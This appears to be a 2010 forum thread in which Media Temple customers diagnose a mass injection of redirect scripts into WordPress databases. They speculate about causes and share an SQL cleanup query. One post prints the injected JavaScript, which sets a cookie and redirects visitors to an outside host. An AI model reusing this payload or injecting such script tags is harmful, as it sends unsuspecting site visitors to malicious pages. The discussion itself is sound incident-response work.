Media Temple oeaou hack

Akismet is the only common plugin between all of us and since it comes DEFAULT with wordpress I’m not sure we should be blaming it.

Even my obscure blogs that have no traffic going to them with only a default wordpress install got hacked.

The IP addresses are pointing to LATVIA…those damn Latvians.

Anyone have any idea how those Latvians gained access to our MediaTemple accounts?

I’m with Ethan – it looks like the common denominator here is the host – not a plugin.

I have a WP blog hosted with MT – ran the SQL query and I’m clean – for now! (Thanks for the link MrMist!)

I had to double check to make certain this thread wasn’t dated BEFORE the big “database clean up” project from last April – when they went in and changed the USER ID and Passwords to improve security.

The $64,000 question is – is my blog “clean” because they updated my DB info or is it just because the hackers haven’t found my blog yet?

I agree, I think it is the host. I too run WP on mt and I had the same hack.

I cleaned the site as per the instructions.

A few hours later I checked my site again, and it had the same redirect. I checked the db again and lo – it was hacked again (either that, or the first round cleaning was not successful despite me checking). Cleaned again.

This begs the question. How is this happening? No information is available.

We are not seeing it on other hosts, so I am guessing this is an exploit due to Media Temple’s setup. I am guessing the exposure is occuring on the database, not via the WP application.

Cheers,
Entilza

this is NUTS
how can either WP or MT be having this?
Can someone help me understand why it would be MT and not WP, or visa versa?

I pay a lot to MT and it seems they have had these hacking issues more then once.
I’m on MT too, their grid service.

Any of you using vimeo on your site?
I’m using vimeo as flash and as jquery built video (needed to control volume on some of the autoplaying videos)

I dont use askimet, deleted it, and dont share the same plugins listed in this forum.

that url https://ue.oeaou.com/31 takes me to this script:

function toloveyes(alwayslovers,value,tobelove){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+tobelove);
	document.cookie=alwayslovers+ "=" +escape(value)+
	((tobelove==null) ? "" : ";expires="+exdate.toGMTString());
}

function getCookie(alwayslovers){
if (document.cookie.length>0)
  {
  cstatr=document.cookie.indexOf(alwayslovers + "=");
  if (cstatr!=-1)
    {
    cstatr=cstatr + alwayslovers.length+1;
    olalala=document.cookie.indexOf(";",cstatr);
    if (olalala==-1) olalala=document.cookie.length;
    return unescape(document.cookie.substring(cstatr,olalala));
    }
  }
return "";
}

var name=getCookie("pma_visited_theme2");
if (name==""){
	toloveyes("pma_visited_theme2","1",20);
	var url="https://e.auoo.info/in2.php?n=508102";
	window.top.location.replace(url);
}else{

}

If you google that pma_visited_theme2 you get this:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=pma_visited_theme2

rgbk, it’s simple:

If it was a plug-in, or wordpress, or any other common object, then we would be seeing this on other hosts too.

No one is reporting this issue on any other host.

Only Media Temple GS (Grid Service) customers are complaining. I think that pretty clearly points the finger at a vulnerability directly related to that host. Try googling for more info (as I did) and you will find very little info, except pointing to media temple’s site, blogs/tweets from media temple users, and this thread.

I suspect customer databases are being manipulated without using wordpress (ie: the exploit is not occuring via wordpress), although I do note with great suspicion that all my wp php files were altered on 31 July. Possibly that was the WP 3.0.1 update though.

Cheers,
Entilza

I have this issue on every single site I look after on MediaTemple GS too. Bummer. Did anyone else notice that their WordPress sites slowed to a CRAWL for a few hours mid-way through last week? My guess is that this is when the attack took place.

Happened to a few folks that run sites on my GS w/ version 2.9 and 3.0.

And the 3.0 uses only the Akismet, Pagebar2, Viper’s Video Quicktags, and WP-Walla plugins.

This SQL query helped clean nicely
UPDATE wp_posts SET post_content = replace( post_content, '<script src="https://ao.euuaw.com/9"></script>', ' ')

@entilza72 The hack didn’t affect the timestamps of wp-*.php files.

Are you guys getting a response from MT?
I find it shocking that i sent them a support query yesterday and 24 hours still nothing?
They aren’t cheap either. I mean why arent they jumping on this issue? I sent them this forum discussion and everything.

Btw i didn’t update to 3.01.

Hi,

There have been many similar problems on MediaTemple lately. Can you check permissions of wp-config.php and report them here?

This file contains mySql passwords in clear text and should not be world-readable. Otherwise, anyone from neighbor accounts can gain access to you WordPress database and modify it however they want to.

also using mediatemple grid server, we are in spain at the moment, maybe people can report their geographic location, I doubt that matters, but you never know.

@useshots – mine was world read. Not good practice, but I believe these servers are jailed and it is not possible for a user to cd into your file structure, or read a file if they know where it is. I have changed to my local user rw (rw—- or 500) just in case.

@rgbk – it occured with my 3.0.1 site. I logged a job over 24 hrs ago. The official line over a day ago was this was a WordPress exploit, not an mt problem. Clearly, that is incorrect.

@khawkins98 – yeah, I figure I updated to 3.0.1 on that date.

@traversal – my mt wp site has been crawling since day one. Often can take up to 10 seconds to begin serving. Strangely, non-wp content can begin serving in around 2 seconds.

@entilza72: I’m not a MediaTemple customer and don’t know details of their platform.
https://weblog.mediatemple.net/weblog/2010/08/06/security-facts/
In this post they say:

Vulnerable customer software (blogs, CMS, PHP apps) give attackers access to view and steal database passwords from application configuration files…

I’m not sure what they exactly mean so just trying to isolate the issue and check whether wp-config.php permissions are to blame. That’s why I ask to share permissions of these files on hacked sites.

By the way, 500 is not read/write. It is read/execute. Read/write is 600.